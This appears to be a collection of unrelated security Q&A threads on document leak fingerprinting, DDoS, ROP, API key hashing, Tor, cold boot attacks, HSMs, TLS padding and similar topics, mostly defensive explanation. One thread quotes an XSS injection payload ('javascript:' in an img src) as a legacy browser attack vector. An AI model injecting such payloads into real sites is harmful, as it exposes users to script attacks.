Document security - how to find who's leaked a confidential document? I am legally obliged to distribute a document (probably by email, probably saved as MS word, or a PDF) to several hundred recipients.

The recipients are legally obliged to keep it confidential. However, based on past experience I'm pretty sure it's going to end up publicly leaked pretty quickly. (in the past it's been freely distributed verbatim)

This has happened before, it's a serious problem and causes us financial damage and I'd really like to put a stop to this and identify the miscreant.

I'm aware of the John Le Carre technique of making each document very slightly different (missing full stop here, minor typo there etc etc) but with several hundred recipients making several hundred uniquely identifiable copies of the same basic document would be a non-trivial task.

Is there a way to automate this? or is there a better way of finding who's doing the leaking?

UPDATES -
documents published 2 or 3 times a year. In the past the whole pdf has been published verbatim on public or semi-public forums, often within days (sometimes hours) of being distributed. On other occasions the documents have been re-distributed via email from 'burner' accounts (normally gmail)

The document is released to meet various legal obligations, so the information HAS to be accurate. It also HAS to go to the various recipients. So changing any of the data is not an option, but there's no law against making a spelling/grammar error

There are a bunch of ways to modify the document so that they are not visibly different, but still be able to uniquely identify each document.  Here are a few ideas.
Leaks of entire document
Changes in Meta data
You could put a unique hash in each of the document's meta data.
Slight changes in text color
You could use slightly different colors of text in the document's color that would all look visibly the same, but still able to spot the differences with a computer.
Assuming that there are only 2 colors to use that still look the same, you could color the first letter in color 1 and the rest in color 2 for doc 1, the second would have 2 letters of color 1 and the rest of color 2, etc.
Invisible characters
You could put a certain number of spaces at the end of each document and use that for identification.
Leaks of by copy and paste
Encode a unique id using spaces between words
Put different numbers of spaces between specific words and use that to identify documents.  For instance the first document would have two spaces between word 1 and 2 and one space between every other word.  For document 2, you would have 2 spaces between words 2 and 3.
Automation
I would highly recommend generating the documents with a python script using the library FPDF.
Documentation and examples can be found here.


DDoS: Why not block originating IP addresses? I'm a moderator of a major bulletin board. When a baddie shows up, we block their IP address; it works, at least until they find a new one. Why can't a protocol be developed for the world's routers to combat DDoS, whether by IP addresses or message content or something else, to stop DDoS in its tracks? There's clearly an answer, or else it would have already been done. Can someone give an executive summary of why it can't be done? E.g., it would require some central authority that doesn't exist.

Let's say that you run a shop. Every day, you might get a few hundred customers.

One day, you get tens of thousands of people coming in, who get in the check-out line, buys a trinket, and then gets right back in line to repeat.

Obviously, you are losing business from authentic customers who must wait hours in line.

Now, you hire a security guard at the entrance to verify that these customers satisfy some criteria.

However, there's still tens of thousands of people who want to get in. The only difference is that now, everyone must go through security.

You notice that, from the authentic customer's perspective, you still wait hours in line, just that now it's just to get through security!


Are stack & heap overflow exploits no longer effective? Do all new OSes implement the no execute bit in order to overcome vulnerabilities that could be used to execute malicious code? for example, is it implemented in Win7? Does that mean that the traditional way of stack & heap overflow exploits are no longer effective?

"Traditional Way" could mean anything. I'm assuming you're referring to a buffer overflow where the return address is replaced with an attacker controlled address on the memory to execute artbitrary code. Yes, this is mitigated by the NX bit. But, no. This does not stop attackers from using other mechanisms such as Return oriented programming which uses ROP gadgets to chain instructions to effectively execute code of their choice.

I had the same question before, but I realized that stack and heap overflows will not become extinct in the near future. Windows, Linux, Solaris and other popular OSs have protection mechanisms enabled which greatly reduce these attacks. On the other hand, think of mobile platforms. Firmware, Baseband code usually written ages ago in C, are still susceptible to these attacks, and those systems may not have the protection mechanisms mentioned above.

This answer, is an excellent read to learn more about the protection mechanisms. Your specific question about NX is also covered there


Does OAuth 2.0 provide a way to reliably regenerate a key only when a session is active? I want to encrypt sensitive data on my app server (facebook app) in such a way that my app may only decrypt this data when the user is in an active session. I need to be able to reliably derive/regenerate/salt a key to encrypt/decrypt this data, and I would like to use something that facebook will only send to my app when that user is actively logged in, will always be the same between sessions for that specific user, and is not easily forged from information available to other users or apps. Is there any such piece of secret information in either the OAuth 2.0 or the Facebook Connect API that is both user & app specific and will be consistent between sessions?

The purpose for this is to retain a private key of a key-pair that I generate for each user... thus allowing users to exchange bits of sensitive data between one another (or rather, for my app to exchange bits of sensitive data internally) in such a way that this information is secure even if data on the app's server becomes compromised... (I do understand that if the app's server remains compromised for a period of time, that this sensitive information may still be gathered from all users that have had active sessions while the server was compromised. But, I would like to minimize the amount of damage possible in the event that the server becomes compromised... such that any data extracted from the server is useless without each individual user's secret information/key)

OAuth 2.0 does not specifically provide you with what your looking for but in most all cases after getting your OAuth token (in many cases when you get your oauth token) you'll have acces to a user id of some kind. The id will be different from each provider though. For Facebook OAuth in particular, they just give you the access_token and then you need to make a request to the porfile page for the id.

https://graph.facebook.com/me?access_token=

There is an example of this seen in the docs here:

https://developers.facebook.com/docs/howtos/login/server-side-login/#step6


Validating API keys in a back-end web-service with very few users I have run into this scenario a couple of times now but am hoping to get either confirmation that I'm on the right track or a suggestion as to what else should be done.

Situation

I am building a back-end web service that provides access to sensitive data or privileged operations.  This web service will not be publicly accessible but will be called by a front-end application that is.  There may ultimately be multiple applications that need to access the service but not necessarily with different levels of access.

We want to secure the web service so that any other devices on the network are able to make calls the service, nor sniff traffic to determine how to authenticate.

Solution

Using a large, securely-generated random API key, which is sent via Basic authentication, the username and password are separated, the password hashed with SHA-256, and the result compared against a stored value for the user.  This is done over TLS (i.e. with a pinned self-signed certificate or even with a valid CA-signed certificate) to prevent sniffing and to ensure that the client validates the server's authenticity.

Since the password is a large (let's say 128-bit) random value, the purpose of hashing the value is mostly:

To avoid storing the api key in the web service
To prevent timing attacks from string comparison against the actual API key, if it was actually stored by the application

Additional Thoughts

I considered doing a more typical password-hashing method (e.g. Argon2) but since the password is not intended to be human readable, it doesn't seem like much would be gained.  Even salting the value doesn't seem like it would be very valuable since the space of possible API keys is so large.

There is also a definite need to keep this fast, since it will be sent with every request, so doing too much processing is not desirable.

Also, since this method is very straightforward, I'm not really looking for an alternate method is if this is secure enough.  I'm really either looking for improvements that can be made to this schema or reasons that it's absolutely not secure (in which case I'm willing to hear about alternatives).

Clarifying Assumptions
I've asked some clarifying questions in comments. I'll answer assuming the following:

Traffic within your backend is plaintext (ie no TLS).
The API key is sent in plaintext in the basic auth field, and hashing is performed by the server only in order to compare against the stored value.

Hashing and Salt
I fully agree with this statement:

I considered doing a more typical password-hashing method (e.g. Argon2) but since the password is not intended to be human readable, it doesn't seem like much would be gained. Even salting the value doesn't seem like it would be very valuable since the space of possible API keys is so large.

Yup. Salts are an answer to humans choosing passwords with very low entropy. API keys with 128-bits of entropy don't need salts, and a single iteration of SHA-256 is good enough to obscure the key.

Sniff protection
The way I'm understanding your question, it probably is not getting sniff protection. ie it sounds like someone who can sniff backend network traffic could lift the API key out of the HTTP req.
Suggestion 1: client-auth TLS
My first suggestion would be to set your front-end server up with TLS client certificates (and locally-stored private keys). Write a filter at the back-end server to check that the client presented the client cert that you expect (there are some gatcha's in implementing validation of client certs, but that's beyond the scope of this question).
That said, from your description, it sounds like TLS might be too CPU-consuming for you.
Suggestion 2: challenge-response / zero-knowledge-proofs
If you phrase your problem a different way, it could become "The front-end server needs to prove that it knows the API key without sending the API key over the network".
That sounds very similar to the definition of Zero-knowledge proof [wikipedia]:

The essence of zero-knowledge proofs is that it is trivial to prove that one possesses knowledge of certain information by simply revealing it; the challenge is to prove such possession without revealing the information itself or any additional information.

I believe (but am ready for comments proving me wrong) that you could do an interactive ZKP by having the back-end send down a salt (probably of the same length as your API key), and the front-end send back the salted hash of the API key.
For more reading on ZKP's, see wikipedia: https://en.wikipedia.org/wiki/Zero-knowledge_proof


How can hash keys of downloadable binaries be useful if a website has been compromised? Sometimes a website that has some binaries to download, also presents their hash keys, so that a user can verify the integrity of the binary. I suppose this is mainly for security reasons, not to check for corrupted data transfer.

However — if the binary has been compromised, isn't it reasonable to assume that the hash key provided by the web site has been also tempered with, to match the modified binary?

Why would we assume that provided hash keys are immune to hacking when we won't for binaries?

if a server has been compromise you should not download any content of it in general, keep in mind that the binary and the hashes (sha256, md5sum, blake2s or whatever) are potentially suspicious of been changed.


Company VPN and privacy. (Cisco Anyconnect) Straight to the point. Is my employer able to see what websites I visited while I was connected to the VPN of the company?

I'm pretty sure that all web internet traffic is routed on my private ISP because even when I'm connected to the VPN my IP on the internet is the same of my ISP.
Also, Anyconnect reports "Tunnel mode IPv4: split include" so it seems that all personal traffic doesn't go through the tunnel.
But given that, how can I know if my company is able to see my dns requests?

Thanks everyone

ps: the difference with the other question is that the other user talks about a physical connection in an office, inside a building of his company while I'm talking about a private machine in a private house connected through a vpn to the intranet of a company.

There are a number of ways a VPN can work, although this is often forgotten. For example, a VPN can be used to provide access to resources on a private network which is at a remote location, or to send all traffic from a remote system over a local service of some kind, or just to hide the real origin of traffic.

Split-tunnel mode is often used when a company wants to allow remote users access to resources on the company LAN, but doesn't want to deal with all the remote user's normal web traffic. This works (roughly) by sending requests to specific IP addresses through the VPN, and ignoring everything else. If they want to allow remote users to access resources which have internally assigned DNS names (things like "https:\hr.examplecorp" typically), they need to send DNS requests to a server which recognises these - this will usually be internal. It is possible to configure VPN clients to send requests for specific domains to the internal server, while ignoring others, and sending them to the local machine's configured DNS server, but this is very prone to mistakes, hence most security guides recommended disabling this.

Therefore, it's probably safest to assume that all DNS traffic sent while the VPN software is active is going via the company DNS server. Cisco docs support this:

  a DNS query is first sent via the tunnel and if it does not get resolved, the resolver attempts to resolve it via public interface


iOS permissions for 3rd party app developers I am putting together a summary on iOS and Android security risks based on app permissions. On Android, it is easy to define all of the permissions and what 3rd party developers have access to (from the Android Manifest Permission page). On iOS, I have not been able to find a comprehensive list of what 3rd party developers can potentially access (maliciously or not).

For example, can iOS developers access data from the native iOS mail/calendar/contact applications? Does anyone have a link to a list of what can be accessed via the iOS APIs?

Thanks!

iOS has a relatively simple permissions system for applications.

Applications have no access to the mail application, but they can access data from the native calendar and contact applications, though only if this permission is enabled in-app, and can be disabled from the start menu:

So basically, they can access location, contacts, calendars, reminders, photos, bluetooth, microphone, motion activity, and various linked social media accounts (linked through the settings app), but only if the end user agrees to it, and this can be disabled. (I assume you're used to android, where the app can only be installed if all permissions are granted.)


What is the difference between a key algorithm and the encryption algorithm? I just starting to learn about PGP encryption.  One thing that confuses me is the difference between a key algorithm, and an encryption algorithm.

For example, lets say I have a trading partner (EDI Trading Partner) who has a 1024 bit RSA public key.  Is this key itself encrypted?  Is that why it is called an RSA key?

Now, if I use that key to encrypt a message, can any algorithm be used?

The reason I am asking is that I am having trouble getting messages correctly decrypted by the trading partner that I encrypt using his key. So I am trying to better understand what is happening in the encryption process.

OpenPGP uses a hybrid encryption approach. Public-key encryption (commonly, RSA is used, but there are also other algorithms) has the advantage of a different public and private key set, but is getting really slow over time.

The public key is the one used for encrypting to the recipient, who can decrypt using his private key. This public key is usually referred to as the "OpenPGP key" of a person, most of the time specified as "public OpenPGP key". This is what you call a "key algorithm".

Assymetric encryption algorithms like RSA have one disadvantage. This is why OpenPGP additionally uses symmetric encryption algorithms like AES (and others): these are very fast for encrypting large sets of data, but both sides must agree on a key. To do so, whenever you're encrypting something to an OpenPGP user, a new random, symmetric key is created, and encrypted using the recipient's public key (so he can read it). This might be called "encryption algorithm", but is no common wording. In the end, both the asymmetric and symmetric algorithms are cryptographic algorithms.

Choosing from the possible algorithms depends on which are supported by the OpenPGP implementations used. Usually, you don't have to do anything, and your OpenPGP implementation (eg. GnuPG or PGP) will choose the appropriate settings for you, given the public key of the recipient is available. If one of you is using very old implementations you might to modify these settings; but it would be more recommended to switch to a more recent one.


How are packets received by a Tor exit node routed back through the Tor circuit? What happens to the packets that the exit node sends/receives from the desired web server?

Does each response packet get routed back through the Tor circuit (encrypting on the way) individually? If so, does the client need to send acknowledgement of receipt of these packets back to the original web server (routed back through the Tor circuit again)?

Or does the exit node simply complete the normal communication with the desired web server and then send the (entire) received data back through the Tor circuit somehow?

If this is the case, does each relay receive all the data and then send all that data to the next node only once it has received everything, too?

Tor works like a chain of proxies, where each proxy only knows about the next hop and the previous hop.

Simplifying a lot, when your computer sends data using Tor, your tor client will encrypt the payload, and forward it to another node. The next node does the same, and after a few iterations your packet reaches the exit node, is fully decrypted, and sent to the destination webserver.

The webserver sends the packet to the exit node, because the exit node was the computer that connected to the webserver. The exit node uses a table (seems like the NAT table, but with more information) to decide where to send the response. So it will encrypt the packet again, and send it to the next node, which will do the same, until the packet reaches your computer, are decrypted locally, and sent to the application.

The intermediate nodes don't have to wait for all the data before sending it to the next hop, or downloading files several MB big would be a hassle. Instead, they have a limited buffer space, and every time the buffer fills (or a timeout occurs), they encrypt it and send it ahead.

Your application will think the remote server is your tor client, so it only have to acknowledge the packet transfer until the first node. The destination webserver thinks the exit node is the client, and all intermediate nodes will acknowledge the packets between them, as there's a point-to-point connection between then.


Methods of cold boot attacks in the wild As far as I know, there are two methods for performing cold boot attacks:

Reboot the system into an alternate operating system or BIOS with a minimal memory footprint which automatically exports memory to persistent media.
Physically remove the memory modules and put them on a motherboard or analyzer with RAM hotplugging enabled, and directly read memory off of them.

Both methods can optionally involve cooling the memory modules to allow the contents of memory to persist longer. However each method has its own downsides. The first method can be problematic because the system may not boot if a BIOS password is set, and POST may overwrite the memory, especially if it is ECC. The second method's downside is that physically removing memory takes more time and increases the chance that data will be lost, and that many devices may have memory soldered onto the motherboard and unmovable. Both techniques may have problems with DDR3 and DDR4 memory due to higher volatility and memory scrambling which is enabled in newer BIOSes (edit: apparently, memory scrambling is totally useless due to using LFSR for encryption, which can be broken with only 50 bytes of known plaintext, although memory interleaving does complicate things when many DIMMs are in use).

I have read a paper that attacks involving hotswapping against early DDR3 modules are practical, with over 90% of bits recovered, but modern DDR3 and DDR4 modules are supposedly significantly different in implementation, which would likely effect cold boot's efficacy in the wild. Because I know that cold boot attacks against legacy DDR and DDR2 memory are quite trivial, I don't care as much about that, although I would still be interested to see examples of actual uses of cold boot attacks against them regardless, if there's nothing else.

So my question is, in live, criminal computer forensics in the wild, what is the most common form of cold boot attack used today against DDR3 and DDR4 DRAM, and why?

Edit: A possible useful lead is this archived presentation. The summary:

  BIOS swap on server PC. Memory acquisition using firewire, reboot or
  userspace tools is standard. What if your intel motherboard BIOS wipes
  ECC memory and live plugging PCIe fails?

  The presentation describes an alternative way to initialise RAM
  using methods from the coreboot project. After initialisation the RAM
  can be dumped compressed over serial and a LPC-USB device.

This makes it sound like removing the memory didn't even cross their minds. In the talk, they said that it was impractical to hotswap the DIMMs, cooling the modules would not be sufficient, and all but the most advanced bus memory analyzers are too slow to analyze live memory, even if they are running as slow as 666 MHz. And of course, wiping memory at POST, usage of ECC, or a BIOS password makes booting into an alternate OS or bootloader to dump memory impossible.

First I want to address the DDR3 vs DDR4 issue.  The differences between DDR3 and DDR4 are mostly voltage and clock speed.  I've looked to see if there's any research on cold booting DDR4, and so far it looks like there's no academic papers out concerning their practicality.  While commercial forensics labs may be performing cold boot attacks on DDR4 they're not likely to publish their techniques as that's their competitive advantage. Then again the differences between 3 and 4 are relatively minor (no major changes to what it does, rather it's how it does it's job).  It could be the case that there's no difference (in terms of cold booting) between DDR3 and 4.

Cold booting DDR1/2 (in 2013 they couldn't get into DDR3)
https://www1.cs.fau.de/filepool/projects/coldboot/fares_coldboot.pdf

Cold booting DDR3 (Intel scrambling)
https://www.dfrws.org/2016eu/proceedings/DFRWS-EU-2016-7.pdf

Cold booting DDR2 & DDR3 differences (2015) - DDR3 10 second power loss shows very low error rates in recovery.
https://youtu.be/ZHq2xG4XJXM?t=13m10s


Storage of certificates and keys in hardware security modules (Use-case TLS) I am interested in the general security goals for public key cryptography and the different elements of it.

Outline of the use-case:
My use case is an embedded device, which will use TLS to establish secure communication between a server and a client (the embedded device). Furthermore, TLS is used with a mutual-authentication handshake, which requires also a client certificate.
The embedded device contains a hardware security module (HSM) for efficient crypto-operations and safe storage.

The following elements will be present in the embedded device to enable the TLS communication:

TLS root certificate from CA (including its public key) to authenticate the server
Client leaf certificate (including its public key)
Private key of the client leaf certificate

We can assume that the storage space of the HSM is large enough to hold all elements 1, 2 and 3 at the same time.

My question now is, what elements should be stored inside the HSM?

Root certificate:
No need for confidentiality, as this information is publicly available, as the root certificate will be installed in any device that wants to participate in the PKI.
But what about integrity? I guess there a security problem if such a root certificate is tampered with (or exchanged) to later allow to authenticate initially not trustworthy leaf certificates from a visited malicious website. Do I have a benefit to store the root certificate inside the HSM, or is it simply enough to not provide any Interface in software to change the certificate stored in the normal memory of the device?
Client certificate:
Also here we do not have the need for confidentiality in my opinion, because the certificate is sent unencrypted to the server during the mutual-authentication TLS handshake. Should we put the whole certificate into the HSM together with its private key? Is there an attack scenario, which could be mitigated if the certificate itself was stored inside the HSM?
Private key of Client certificate:
This one I am 100% sure about. The private key needs to go into the HSM to increase the security.

Rephrasing everything in one sentence:

Private keys should be stored inside an HSM, if available, but is there any benefit of storing also certificates (containing their public keys) inside an HSM?

EDIT:
In my understanding the HSM in this use-case only provides a security benefit for storing private keys. However, I have read in many instances about storing certificates inside an HSM. I am just not sure, if such statements are because of sloppy wording or if there is actually any benefit of storing a certificate inside an HSM. Examples: A, B, C

The key thing to understanding the difference is to realize that you don't care directly about the security properties of the key. They're just a tool to ensure the security properties that you care about, which come from the use of the key.

If you need to keep an asset confidential for indirect reasons, then there is a benefit in keeping it in a high-security area that only allows the asset to be used in a specific way. For example, suppose a private key is in an HSM which allows a computer to sign or decrypt with this key¹, but does not allow the computer to extract a copy of the key. If the computer is compromised but the HSM isn't, then the attacker can use the key, but these uses will be recorded in the HSM log, so you have some information about the consequences of the breach. Furthermore, if you regain control over the computer, you know that the attacker cannot use the key anymore; this is typically not so useful for a signing key (unless the HSM logs tell you that the key hasn't been used) but it is useful for a decryption key.

If you need to protect the integrity of an asset for indirect reasons, it's another story. Consider again the computer+HSM setup, this time with a public key or a certificate in the HSM. After a recovering computer compromise, you know the attacker has not been able to modify the copy of the certificate in the HSM. That doesn't really help you, because you needed to restore a lot of data from backup, including the copy of that certificate. While the attacker has access to the computer, it doesn't matter that the certificate is in the HSM. If the attacker is bothered by that, they'll just modify the code on the computer to not access the HSM.

Using a trusted place to store a copy of data whose integrity is required is important, but you don't need an HSM for that: that's what backups are for. If you can't guarantee the integrity of the code that manipulates the data, you dont gain anything from better protecting the integrity of the data.

Thus, in your case, you definitely should put the private key in the HSM (3). There's no benefit to putting certificates in the HSM for normal operation (1, 2), but it might help you recover after a breach if you're somehow able to regain control of the device. The certificates alone aren't enough, but they might be part of a larger root of trust that includes all the code needed to boot the device in a trustworthy state.

¹  It shouldn't allow both with the same key.


How strong should a database password be? Seems like a trivial question, but I couldn't find other questions that address the following.

So I'm simply asking, how strong would my (super user) database credentials ideally be? I simply figured out, that since all of my connections are done through my app server script files, why shouldn't I just generate a random 40 letters string and use it hard-coded in my script files as a password? The only backside is that if it gets lost somehow then I'll be left with no access to my db. However, it is an option and since I've never seen anyone else mentions it, what is your opinions about it?
And if it's not a wise decision, how strong should my db password be?

And if I use 3 database servers, where 2 of them are simply backups, would I, as best practice, remember the credentials of them all? Using the same password seems dangerous if my concern is hackers. How do big companies deal with it?

So I'm simply asking, how strong would my (super user) database credentials ideally be?

Maximum strength.  Based on this answer, a length 100 cryptographically random password with upper, lower, numbers, symbols fits that.

Store it in KeePass or similar.

  why shouldn't I just generate a random 40 letters string and use it hard-coded in my script files as a password?

Whoa, there, Tex.  You SHOULD NOT be using that super user account for ANY scripts; you FIRST need to create different user accounts for them, with minimal permissions - and those cryptographically random 40 character upper, lower, number passwords are then pretty good (skip symbols, length trumps character set size, and 40+ is good)

Then, if you can, store them encrypted - openssl can be used in scripts to decrypt on the fly, even if you have nothing else.

  The only backside is that if it gets lost somehow then I'll be left with no access to my db.

False.  One, that super user password is for emergencies; have your own account as well (for auditability.  Two, your scripts use their own less permissioned usernames; those still run.  Three, with physical access to the machine, you can always recover and/or reset the super user password - it just takes some work.

Four, it's in your KeePass.  Remember?

  And if I use 3 database servers, where 2 of them are simply backups, would I, as best practice, remember the credentials of them all? Using the same password seems dangerous if my concern is hackers. How do big companies deal with it?

You remember your very strong personal credential to get into your KeePass, and then copy/paste (or use the awesome autotype feature) the unique, per-username*server password in as required.

Big, highly secure organizations?  They use a hardware security module (HSM).  Break out your checkbook.


XSS with style attribute background-image I've tried to verify some vectors from OWASP XSS CheatSheet which exploits style attributes

STYLE tag using background-image

STYLE tag using background

TABLE

TD
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

But none of them seem to be working in the latest browsers - IE10, IE11, Chrome, Firefox, Safari.

Are they valid XSS vectors?

OWASP's XSS Filter Evasion Cheat Sheet clearly states that the cases you mention are for old browsers

  Deprecated Tests (Works on IE 6 and older browsers)

  These are the tests that have only been confirmed to work on IE 6
  unless specified otherwise and do not work on any modern browsers as
  of March 12th, 2014.

Remember, though, not all of your users use up-to-date browsers.

One example is the <img src="javascript:alert('xss')" /> attack. I never thought I'd worry about it until one of our clients reported that whenever he tried to access one order's page on their inventory system, he'd get redirected to a pornographic website. I found the offending row in the database, but was never able to reproduce the redirect until I learned that he used IE6.


How online document signing services guarantee non-repudiation? There is a number of services online like RightSignature or SignHub that will let you sign online legally binding documents. I understand how documents can be signed digitally and this can guarantee that they were not altered, but I do not understand how they can guarantee non-repudiation. For example, I just created an account for John Doe and all information I had to provide was an email. As you can imagine, my name is not John Doe. What is to prevent an interested party to create a fake account for the other party and sign the document in his name? I guess I am missing something simple here :)

So, how these documents signed online can be legally binding when no one checked my identity?

Legal matters depend on jurisdiction, and there are a lot of those. However, in many of them, a signature is "legally-binding" if the signer really did it. When you sign, how you do it does not matter as far as legal binding is defined; putting your name at the end of an email is also a legally binding signature. Several cases have shown that an oral agreement with a handshake in Hollywood can also be legally binding.

The methods used to produce the signature matter not for defining whether the signature is legally binding, but for proving it. Roughly put, in case of contest, the purported signer will claim that he did not do it, while his opponent will be intent on demonstrating that he is a filthy liar and indeed "signed" whatever document is at the heart of the dispute. Depending on the technical details of the signature mechanism, judges will then consider that the burden of proof lies on the party who claims the signature validity, or on the party who disputes it, or somewhere in between.

In France, there is a (relatively new) notion of signature qualifiée, meaning that a system has been audited and certified and exhibits sufficiently robust security qualities (including use of asymmetric cryptography, but also appropriate authentication mechanisms for certificate issuance and similar things) that the burden of proof automatically lies on whoever claims that the signature is fake -- he may still win, but he will have to work it through.

None of this is really new; after all, we have long been "signing" documents by dropping ink smudges on paper, and these have been known for centuries to be relatively easy to counterfeit. What makes paper signatures tolerable in practice is that counterfeiting a signature is a felony which can have dire judicial consequences; and since such signatures occur in the mundane physical world, witnesses and other incriminating evidence are always a possibility looming over the future career of any fraudster. This works, in that it effectively deters signers from defaulting on their actual signatures, even though the pen is, from a cryptographic point of view, a really atrocious protocol. The same concepts can be applied to just about any replacement for that pen, even a Web browser in a tablet.


What triggers a firewall to block a TCP socket? I was wondering what would cause a firewall to block a TCP Java socket from connecting. What would trigger that?

There are two main types of firewalls.  The first type is the network kind where it simply blocks a port in general.  It does this by simply not allowing a connection on that port, typically unless an outgoing connection is made on the port first.  The other is an application firewall which runs on a client and restricts which applications specifically can access the network or be accessed by the network.

A firewall is going to block a particular TCP port simply because that is how it is configured.  There isn't anything that "triggers" it.  It's just the behavior of the device to not allow connections that aren't configured.

If it is an intrusion detection system rather than a simple firewall, there could be traffic analysis done on the data being exchanged and if suspicious activity is detected, then it could be configured to start blocking the port, but that's a more rare situation.  If this covers your situation, you'd have to talk to the people that configured the IDS rules to know what caused the blocking.


Given certain parameters, are there any risks with Android's USB Debugging? Assuming:

You control access to an Android device
You never connect that Android device to a malware-infected system via a USB cable

Are there any risks with keeping USB Debugging always enabled on the Android device?

If your answer is Android version-dependent, please explain.

If you have total control of the device and are very careful what connects to it then there's no risk in leaving debugging on at all times. Leaving USB debugging on is risky when you do not have control. So if you have a phone you use purely for development and testing then leaving USB debugging on makes sense. If you use your personal phone for development then it is recommended you turn off debugging when you don't need it.


Spotify password compromised I have just received an email from what seems to be Spotify (signed by spotify.com), where they suggest my password has been leaked.

This brings up two questions:

How did they know I used the same password for both services, if the passwords were properly hashed and salted? Does this imply they are improperly storing the password?
Is it possible to find out which service was compromised so I can stop using it/change the password for other services which may have used a similar password*?

The relevant part of the email is shown below

  Hi Spotify User

  To protect your Spotify account, we've reset your password. This is
  because we believe it may have been compromised during a leak on
  another service with which you use the same password.

  Don't worry! This is purely a preventative security measure. Nobody
  has accessed your Spotify account, and your data is secure.

*I know the standard procedure for any password leak is to change every password for everything ever... but I'm only human (and a lazy one too)

UPDATE

For the sake of completeness, I contacted Spotify and they responded with:

  Unfortunately, we can’t provide any further information about the
  status of your details on other services.

It's simple enough.

They run a batch job that checks every password in the leaked list and yours matched.  That verification is done exactly the same way as when you manually sign in.

As you can see, they then reset your password and notify you.


How do I securely separate a wireless subnet from the wired network? My setup looks like this:

In the interest of security, I'd like to separate the wired network (where the Workstation is plugged in) from the wireless subnet. I don't trust some of the devices in the wireless subnet - they are vulnerable to malware and risky because torrenting warez.

I'm not interested in the network itself, just Internet access for all. So I'd like the wireless devices to only talk to the Internet, not to each other and certainly not to the Workstation.

How can I accomplish this?

I hesitated a bit to offer up Rodney's answer as I'm not sure that many consumer based ISP gateways have this level of granularity in the setup.  Also a firmware change, hardware change, ISP change basically renders your network inoperable until you reconfigure that new ISP device (if it even has the same options).

Rodney is talking about basically trying to slice the pie, lets say your "cable router" has the lan site network configured like 192.168.1.0/255.255.0.0.  The device itself has an address of 192.168.1.1.  It has a DHCP server daemon that will hand out IPs in the range of 192.168.1.100-192.168.1.150.  So that is your wired interface.

You can then setup your "wireless router" with an address of 192.168.2.1, just like a static host on your network.  It will use the "cable router" IP as it's gateway.  Then you can setup your wireless firewall to block traffic from 192.168.1.100-150.  Depending on how the Network Processors are architect-ed, it could possibly bog down your wireless router and devices if it has to process a bunch of rules.  Anyway it would hand out a small subnet of addresses maybe the private side is like 172.16.100.1/255.255.255.0  is the gateway and you are handing out 172.16.100.10-172.16.100.20.

It could all be moot and possibly your "cable router" will let you setup VLANs (virtual lans, with virtual gateways) May be called Zones or some other name that infers network segregation.  All in all I would get a SMB sized Router from Ebay.


PKCS7 vs TLS 1.2 padding Can anyone explain why there is a difference between padding claimed in PKCS7 https://tools.ietf.org/html/rfc2315 Page 22 - which is

01

02 02

03 03 03 ...

and padding used in TLS 1.2
https://tools.ietf.org/html/rfc5246 Page 24 or
http://www.isg.rhul.ac.uk/~kp/mee-comp.pdf Page 1 - which is

00

01 01

02 02 02

03 03 03 03 ...

Why didn't TLS guys use PKCS7 version of padding?

The padding isn't different - it actually is PKCS7 padding. The difference is that the data ends with a 1-byte field which expresses the length of the padding. As such, what you're seeing is:

 MAC              Padding          PadLen
 xx xx xx .. xx | 05 05 05 05 05 | 05

This isn't unique to TLS 1.2 - if you dig through the RFCs you'll find that TLS 1.1, TLS 1.0, SSL 3.0 also share this quirk. The reason appears to be legacy compatibility.

The SSL 2.0 specification isn't very clear on how (or what) padding should be applied, but the padding length itself is given in plaintext as a field in the packet. Since this would result in the padding length being distinct from the padding itself, you get a situation where a padding of 03 03 03 has a length record of 03, giving a full value of 03 03 03 03. That being said, SSL 2.0 doesn't use PKCS7-style padding, but instead uses random padding, e.g. A3 89 03 03. By bringing the same padding method to SSL 3.0 (and later to TLS) it was probably seen to be easier to adapt existing code.

So, the answer is: there's no security benefit or detriment to having the extra byte in TLS 1.2, as long as all bytes of the padding are properly checked. The reason it is there is for legacy support and ease of implementing the new protocols on top of older stacks.


Why are water treatment facilities or similar connected to the internet? I have a (sensitive) background in security, in short, I believe that the infrastructures MUST NOT connect to the internet. If you connect to the internet, it is a matter of time before it is breached.
In recent news

An unidentified hacker has accessed the computer systems for the water treatment facility in the city of Oldsmar, Florida, and has modified chemical levels to dangerous parameters.

Are there any specific important reasons to connect such important facilities to the internet?

It is the common balance between ease of use and security. The most secure system I can imagine is a switched off system inside a physical safe in secured room in a strong building, with armed guards around. But to access it, you have to physicaly enter the building, go to the secure room, tell the guards why you are there, open the safe, switch the system on, do the job, and then revert everything, meaning switch off, put in safe, lock the safe, quit the room and the building. Phew...
Hiring human beings is quite expensive, so instead of having a bunch of employees each with a car and ready to go to the water treatment installations just to change some parameters, you just connect everything to internet, and then a single employee can control a number of remote systems. Furthermore, a rather good part of system maintenance can be performed remotely by the system provider, with again a serious money gain.
So serious organizations do an analysis of security risks, with the chance of occurence, the impact, and the cost required to eliminate of reduce each risk. From that point they can objectively decide to establish some actions to reduce some risks and accept others. Exactly like in real life scenarii, I have a lock on the main door at my home, to prevent casual bad guys to come in, but I know that if an important organization decide to break in, I cannot prevent it: the cost of securing all the issues (including the roof) is not acceptable from my point of view. So I accept that risk, and contract with an insurance company to partially transfer it.
But I agree with you on one point: when it comes to the IT world, many people for both their private and work life fail at doing that security analysis, and let sensitive information unprotected without even thinking of the possible impacts.


What is the difference between X-Received and Received in email-header? Also how to calculate delay between sent and received?

What is the difference between X-Received and Received in email-header?

Received is a header defined in the standard while X-Received is a non-standard header added by some user-agents or mail transfer agent like the google mail SMTP server.

  Also how to calculate delay between sent and received?

Look at the time stamps in the Received and Date headers, but at least some of them can be spoofed (to give the answer at least some relation to security, i.e. the topic of this site). You'll often find the Date header spoofed in spam mails so that they get a better place in the inbox.


Does client send request to CA when SSL handshaking? In other words, if Certificate Authority goes down, does this mean that all HTTPS sites that purchased SSL certs from this CA will also become unavailable?

Kinda. The browser verifies the certificate was issued by the CA without contacting the CA. But the certificate might have been revoked since then, for example because the site's private key leaked. To verify the certificate has not been revoked, the browser needs to contact the CA's CRL or OCSP site. If those are down, there is no way to know whether the certificate is revoked. In practice, because keeping those sites up is expensive, they are often down and modern browsers either don't check or try to check but don't fail the connection if the CA is unreachable. So a certificate will keep working if its CA is down. If the CA goes down permanently, you can't revoke the certificate, which is a problem.

